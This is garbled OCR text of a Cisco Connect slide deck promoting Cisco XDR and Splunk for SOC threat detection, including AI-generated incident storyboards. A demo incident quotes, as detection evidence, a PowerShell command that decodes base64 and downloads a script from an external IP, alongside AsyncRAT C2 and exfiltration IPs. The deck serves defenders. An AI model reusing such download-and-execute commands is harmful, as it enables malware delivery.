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Disclamer : TDIR is a journey
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(Some of) The Al Problem

How to scale data @ © Hyperdistribution
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Catching lateral
movement with
Cisco XDR
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Cisco XDR : Network-led, Open XDR

Raw Telemetry
*  Network Flow Logs

e Firewall Logs Native
© dio lags Detections
«  NVM logs

e ISE

Incident

Detection Telemetry
© EDR: CRWD, S1, MSFT, ...
*  Email: ETD, PFPT, MSFT
O NDR:SNA

Enrichment
and
Investigation
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Network & EDR stitching
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EDR Content

>
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Local IP

Local Port

Remote IP

Remote Port

URL (plain HTTP)
Fingerprint (SHA256)
Filename

Computer Name
Computer GUID

Current User

NetFlow / IPFIX

Added by NVM Module

Flow Information

>

>

Source P

Source Port
Destination IP
Destination Port
Bytes sent

Bytes Received

OS Version

OS Edition

uDbID

Host Name

Logged In User
Process Name
Process Hash
Process Account
Parent Process Name
Parent Process Hash
Parent Process Account
DNS/Destination Hostname
Module Hash List
System Manufacturer
System Type

MAC address

Interface Name/Type/UID
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Getting the full Cisco power into the Analytics

New evolution: Use of EVE library and ETA network telemetry

Alert Type Observation Types History @ Priority @ Cisco XDR ... Enabled @ Telemetry @

= Suspicious Network X - v v € ETA

Identifie Suspicious Network Activity 0 Days ETA
bility Engine detected communication between a detected by EVE
er that is suspected to be malware.

Suspicious DNS over HTTPS Activity Watchlist Lookup Normal <

An internal server was dets d exchanging traffic with a known DNS Suspicious Network Activity
over HTTPS server. This may indicate an attempt to evade DNS- detected by EVE

based security.

Use of Evasive VPN - External proxy Suspicious Network Activity Normal
Encrypted bility Engine detected use of an evasive Virtual Private detected by EVE

Network N) provider or an external proxy.

Use of Remote Access Tools Suspicious Network Activity Normal
Encrypted Visibility Engine detected use of remote 5. detected by EVE

Remot: ess tools may be utilized legitimately by systems !
administrators, but are also known to be utilized by threat actors,

including Advanced Persistent Threats.
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Data problem
Splunk Solution
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Federation

Break down silos with federated access

Threat Hunting

cisco cﬂtﬁeef

o
— 0

Splunk
Enterprise
v

Compliance

S

Splunk
Cloud

Detection

Exploration

Break Down Silos with Federated Access

Amazon S3 Amazon

Security Lake

#CiscoConnect

V'S

=

Additional
Data Lakes

Track 3/BRK 4

S

Splunk O11y
Cloud

v

Investigation Historical Analysis

© 2024 Cisco and/or its affiliates. All rights reserved. Cisco Public

{5



Data Management

Unified data configuration, processing, and management
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Unified threat detection,
.................... investigation, and response e,

With th e . Splunk Platform
leading TDIR
solution
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Third-party tools Cisco User/ Talos Networking IT/OT Applications Clouds Data centers
Cloud/
Breach/XDR
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How will Al help us
?
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The main SOC problems
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Skills shortage
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Alert fatigue

Track 3/BRK 4
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e
Detect advanced
threats
Anomaly detection | ML-based detection
Insider threat detection | Behavior analytics
.

cIsco 0W

Accelerating the SOC of the future

Simplify investigations
and triage

Streamlined Threat Workflow | Anomalies Grouping |

Threat Visualization

Splunk Al

#CiscoConnect Track 3/BRK 4

Driving a new wave of maturity
for SOC

Enhanced response

Streamlined Threat Workflow | Anomalies Grouping |
Threat Visualization
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ntication.Authentication

jeste-7d@d latest=now() by

Available in Splunk Cloud

« Get your job done faster using
natural language

« Chat with your data to drill
down to deeper insights

sAuthentication.Authentication

« Accelerate your learning
journey to become the expert e

#CiscoConnect 26
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Goograonically improbetie Access Detected 192 194 21

Al Assic
for Sea

« Get your job done faster using
natural language

82 Sara Jones

. 0 3 TSI - c Al assistant
« Chat with your data to drill o St co g it T folig vy
down to deeper insights i

MITIE ATTREX

« Accelerate your learning

journey to become the expert © © 5@

5) Sara Jones
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Our goal: To make everyone a Splunk expert

Using powerful domain-specific LLMs, in-context, to power key workflows

E

Faster Insights and Content Assisted
Troubleshooting
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Data
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Clear verdict. Decisive action. Al speed.

[ Instant Attack Verification '

Multi-agent, agentic Al to quickly
confirm threats, enabling
decisive, automated response

cisco 0W

Automated Forensics ’

Attack Storyboard

Market leading forensics from
every endpoint in minutes.

Sh indicators of compro

#CiscoConnect

Session i

Incident comprehension in under 30
seconds with an intuitive visual
representation of attack chains and
natural language.

TISe 10 Stop the spread of
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cisco

Storyboard
o @I ( closed:suspeciedss | Suspicious Endpoint and User Activity Detected

Reported by Cisco XDR Analytics on Mar 27, 2025 @ 1:21 PM PDT

View detailed description
The incident occurred between Mar 26 2025 and Mar 29 2025. Multiple suspicious activities were detected
on the endpoint mazzarella.ad.ciscrypt.info involving the user alexw, including data loss, data hoarding,
and suspicious command execution.

Overview Detection Response Evidence Worklog  Report [\/mwnm--,ng;muu | Launch Incident Alpha I

" Expand

@&

alexw@ciscrypt.nfo Process

Mazzarella 1P Addresses

Show timeline B vaicious [l Suspicious [l common [l Unknown [l Ciean [ Asset

2 Assets View all 35 Observables View all 12 Indicators View all

TOP ACTIVE TOP ACTIVE TOP ACTIVE

() @D pevice @3 Unknown IP Address
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Attack
Storyboar

Al Confidence
Score

Investigation
Summarization

Measured impact
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& Al-generated
Summary
Suspicious Endpoint and User Activity Detected

© Critical

The incident is likely confirmed, with an 85% probability |

The incident highlights critical security issues with the device
mazzarella.ad.ciscrypt.info, including AsyncRAT activity and suspect data loss,
suggesting potential compromise and urgent need for investigation.

Summary

Starting March 27, 2025 Cisco Secure Network Analytics identified Potentially Harmful
Hiden File Extension - Multiple File involving ad.ciscrypt.info
and 108.6214113 with 2 findings

Cisco Secure Endpoint detected W32, WScriptExecuteFakeExtension.ioc involving the
User alexw and mazzarella.ad.ciscrypt.info with 1 finding

Additionally, Cisco Secure Endpoint reported PowerShell Downloadstring involving
alexw and mazzarella.ad.ciscrypt.info with 2 findings.

There were further findings involving the same endpoint including Cisco Secure Cloud
Analytics reporting Unusual Encoding on Command Line - Suspicious Endpoint
Activity and Content Using - Endpoint Activity,
both with findings involving 108.62.14113, 108.62.141.15, alexw, and
mazzarella.ad.ciscrypt.info.

Cisco Secure Endpoint also detected AsyncRAT activity and AsyncRAT Mutex on the
same endpoint.

Additionally, the same day included a detection of an Excessively long PowerShell
command, and a Long Lasting Network Connection from a System Binary detected by
Cisco Secure Cloud Analytics, involving 108.62.141.15, alexw, and
mazzarella.ad.ciscrypt.info.

View attack graph >

Impact
© High Impact

4.07 GB of data was uploaded to external hosts, risking sensitive information exposure
The breach, involving AsyncRAT and PowerShell, bypassed security controls, allowing
malware and unauthorized data transfers

#CiscoConnect

Return to legacy vi

S[B)man—s @@\

factura-228447578... dian-info.com
hosted by

\6
o
0/@¢\//¢emmn =)
N 108.62.141.13

downloads executes

PowerShell
\
il °Q
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alexw 108.62.141.15

RegSvecs.exe oo oo
f/ =

A,
\\% . =

M vaiicious [l suspicious [l common Ml Unknown [l Clean [l Asset
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potentially harmful processes and data exfiltration attempts.
to ry b O a r Summary Return to legacy view }
5 View

Timeline

Potential Malware Download Execution

2025-03-27720:16:45Z

Device mazzarella downloaded the file factura-228447578537.pdf.vbs with a

A I Gen erate d suspicious extension from s dian-info.com, potentially indicating malware.
R ] (O content Download Using Powershell Execution
Interactive

2025-03-27T20:18:58Z

t| m eI ine Process powershell.exe was executed to download a script from server
http://108.62.141.13. It is common for adversaries to leverage various cmdlets in o B hosted on—p @ @
order to fetch and execute their payloads from remote locations: N4
factura-228447578... dian-info.com .
. / hosted by
AsyncRAT Activity Defense Evasion
2025-03-27T20:18:59Z
Process RegSvcs.exe was executed to connect to IP 108.62.141.15. AsyncRAT O@ — —

activity has been detected, allowing attackers to transfer files and execute

Vi
=
=)

e b B 108.62.141.13
commands on the victim host. e Powersnoll _ Stecias_

A

Spike in IDS Notices Command and Control O{O:}
2025-03-27T20:19:562 executes W

Sves.oxe
Device mazzarella communicated with IP 108.62.141.15, triggering an abrupt rise // Regf connects to

in high priority IDS notices.
=

g 2 »> O
Long Lasting Network Connection ~ Command and Control \/ =

2025-03-27T22:02:14Z 108.62.141.15

Process RegSvcs.exe was seen making long lasting connections to 108.62.141.15.
Long-standing network connections might indicate Command and Control or

I nd |C ator Wlth filtration stages of an attack, if initiated by system binaries.
MITRE Suspect Data Loss _ Exfiltration

2025-03-27122:30:00Z
association Device mazzarella uploaded an abnormal amount of data to suspicious IP

108.62.141.15, indicating possible data exfiltration

B maticious [l suspicious [l common Ml Unknown [l Clean [l Asset
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potentially indicating command and control activities or data exfiltration.
Execution
View more

Timeline

Potential Malware Download ~ Execution
2025-03-27T720:16:45Z

Ds e mazzarella downloaded the file factura-228447578537.pdf.vbs with a
suspicious extension from server dian-info.com, potentially indicating malware

Content Download Using Powershell ~Execution

2025-03-27T20:18:58Z

Graph Navigation
. . . Process powershell.exe was executed to download a script from server = =
usl ng the t|me|| ne http:/[108.62.141.13. It is common for adversaries to leverage various cmdlets in o B hosted on—» @ @

order to fetch and execute their payloads from remote locations.

factura-228447578... dian-info.com

3 hosted by
AsyncRAT Activity ~Defense Evasion
2025-03-27T20:18:59Z \

. 7 \ o=
Process RegSvcs.exe was executed to connect to IP 108.62.141.15. AsyncRAT o {O:} —

activity has been detected, allowing attackers to transfer files and execute

commands on the victim host 108.62.141.13
: : : PowerShell executes Suspicious IP Add.

Spike in IDS Notices  Command and Control © @
2025-03-27T20:19:56Z

Sves.exe
Device mazzarella communicated with IP 108.62.141.15, triggering an abrupt rise i conmﬂla\

in high priority IDS notices

Long Lasting Network Connection Command and Control
2025-03-27722:02:14Z 108.62.141.15

Process RegSvcs.exe was seen making long lasting connections to 108.62.141.15
Long-standing network connections might indicate Command and Control o
Exfiltration stages of an attack, if initiated by system binaries

Suspect Data Loss  Exfiltration
2025-03-27T22:30:00Z

Device mazzarella uploaded an abnormal amount of data to suspicious IP
108.62.141.15, indicating possible data exfiltration

B veicious [ suspicious [ Common [ Unknown [l Clean [l Asset
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Attack
Storyboard

Generated
recommendation,
workflow / automation
button will be present
@GA

Summary of the findings the
multi-agent, agentic Al used
to run the investigation

cIsco 0W

Impact
© High  Impact

4.07 GB of data was uploaded 1o external hosts, risking sensitive information exposure
The breach, involving AsyncRAT and PowerShell, bypassed security controls, allowing

malware and unauthorized data transfers

Recommendations

Isolate Compromised Device

Disconnect mazzarella from the network to prevent further data exfiltration and halt
ongoing malicious activities, ensuring containment of the breach.

Block Malicious IPs

Implement firewall rules to block communications with known malicious IPs, such as

108.62.14113 and 108.62.141.15, preventing external access and data leaks.

Disable Harmful Processes

Terminate and prevent the execution of suspicious processes and scripts, including

those associated with AsyncRAT and PowerShell, to stop malware activities.

Findings 6

The analysis found a harmful hidden file extension, PowerShell execution, enabling
malicious payloads and AsyncRAT activity. Network logs showed suspicious

10108.62.14113, indicating possible compromise. Network fogs confirmed
data exfiltration to 108.6214115.

Device: mazzarella

Compromised
The device Is associated with multiple suspicious activities, including AsyncRAT
operations and data exfiltration, indicating it has been compromised as part of the
security breach

View details >

Summary

#CiscoConnect
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Attack
Storyboar

Human formatted
description

4 Al-generated

Suspicious Endpoint and User Activity Detected
) Critizal
The incident is likely confirmed, with an 85% probability

The incidant highlights critical security issues with the ca
mazzarella.ad ciscrypt.info, including AsyncRAT activity and suspect data loss,
suggesting potential compromise and urgent need for investigation.

Summary

Starting March 27, 2025 Cisco Secure Network Analytics identified Potentially
Harmful Hiden File Extension - Multiple File Extensions involving

Artack graph > Key findings Device: Mazzarella

© Compromised

The combination of malicious fils exscution, high data exfiltration, and C2 activity confirms a significant breach requiing immediate response actions, including isolating the
ice, conducting comprehensive forensic analysis, and strengthaning security protocols to prevent future incidents.

Findings s

STy P A TS S 2 e T T e

Cisco Secure Endpoint detected W32 WScriptExecuteFakeExtension.ioc
nvalving the User alexw and mazzarella.ad.ciscrypt.info with 1 finding

Additionally, Cisco Secure Endpoint reported PowerShell DownloadString
nvolving alexw and mazzarella.ad.ciscrypt.info with 2 findings.

Thare ware further findings invalving the same endpoint including Cisco Sacura
Eloud Analytics reparting Unusual Encoding on €ommand Line - Suspicious
Endpaint Activity and Content Using -

Endpoint Activity, both with findings invelving 108.62141.13, 108.62.141.15,
alexw, and mazzarella.ad.ciscrypt.info

Cisco Secura Endpoint also detected AsyncRAT activity and AsyncRAT Mutex
on the same endpaint.

Additionally, the same day included a detection of an Excessively long
PowerShell command, and s Long Lasting Network Connection from a System
Binary detected by Clsco Secure Cloud Analytics, Involving 108.62.14115, alexw,
and mazzarella.ad.ciscrypt.info.

k graph

Impact
& High Impact

4.07 GB of data w ded to external hosts, risking sensitive information
pogyure, The Dregch, involving AcyncRAT and Powar pasced gecurity

Detection of Suspicious File Activity

On March 27, 2025, Ci Secure Cloud Analytics detected a potentially harmful hidden file multiple extensions from the domain dian-info.com, indicating the
device downlsaded a misleadingly extended file

o downloaded file's metacata ane contents, Utilize file analysis to 3 ains i code of serlpts typical of makware

ura-228447578537 pdfvbs was confirmed to be a script disguised as a PDF, indicating malware designed to execute upon

Souree  Cisco Secure Claud Analytics
Domain  dian-info.com
URL g o.com/netification

P 108.62.14113

Execution of Suspicious Commands

Cisco Secure Endpaint detected susi
commanly assaciated with adversari

Action: Inspact the downloaded file's matadata and ila Deter ecutable code or are.

Result: T y Involved PowerShell downloading a baset. e : then e L sehavior suggests patential malware
activity ed to execute upon download,

Findings properties

cIsco 0W

controls, allowing malware and unautharized data tra

Source Cisco Secure Endpc
Title PowerShell Dewnload String
Process

Args o) all. ¢ a(l] $rOWg = [system.Convertl:FromBases4str
iebClient). DownloadString :/1108.62141.13/dll/new_rump_vb.net.txt'));
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XDR or SIEM ?
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How to choose ?

Evolution Zone Endgame

evels of sophistication Deep investigation

rying ownership Mature SOC

Begins to customize operations, data Deep customization
Pqu and Play collection, analysis and automations

Expected Outcomes :

Asset inventory Automation Out of the box detection Prioritization

Complete
Visibility Framework

cisco aﬂ'mf #CiscoConnect Track 3/BRK 4 © 2024 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Noise reduction Al Enabled &
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How to choose ?

Cisco XDR

May use Splunk for logs

Asset inventory Automation

Complete
Visibility

cisco ﬁﬂc/@ef

Evolution Zone

evels of sophistication

rying ownership

Cisco XDR
OR
Cisco XDR + Splunk Platform
OR
Splunk ES + Splunk SOAR

Depending on sophistication

Expected Outcomes :

Endgame

Deep investigation
Mature SOC

Splunk Full Stack
(ES + SOAR + AA + ARI + UEBA

)

Out of the box detection Prioritization

Noise reduction Al Enabled

#CiscoConnect Track 3/BRK 4

Investigation
Framework
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XDR and Splunk in
the wild
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Cisco XDR @Major sport event 2024

Cloud Analytics S

Defender / Crowdstrike

Security Center Nt‘gjhd Vulnerability
Management

. )

Tenable WebEx \

AD/ Intune ‘

ppos , 52

Alibaba Cloud

Secure Client + NVM @ @ —
° A

Secure Network

cIsco 0W

SVIDEN

Firepower

Direct Integrations

KPI :

55B unique events
* 1000 security tickets
* MTTR :~19min
* 2to5 XDR incident
perday

Aisaac (SIEM, Ticketing, Alerts)

% Cloud Email Security

OQ)

\ C_OU Umbrella

C{?-g Duo
& Malware Analytics

>>?@ DDOS

war

B TreatQ

-I:'- Recorded Future

e

@)

o Identity /\:* Partner CERTs "

Analytics Intelligence

TaLos
20 XDR integrations including 15 Cisco’s
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Cisco Event SOC Team, using XDR and Splunk

.....

Black Hat
- RSA

Cisco Live

Global Sporting Events

Mobile World Congress

Upcoming Major Sport Event
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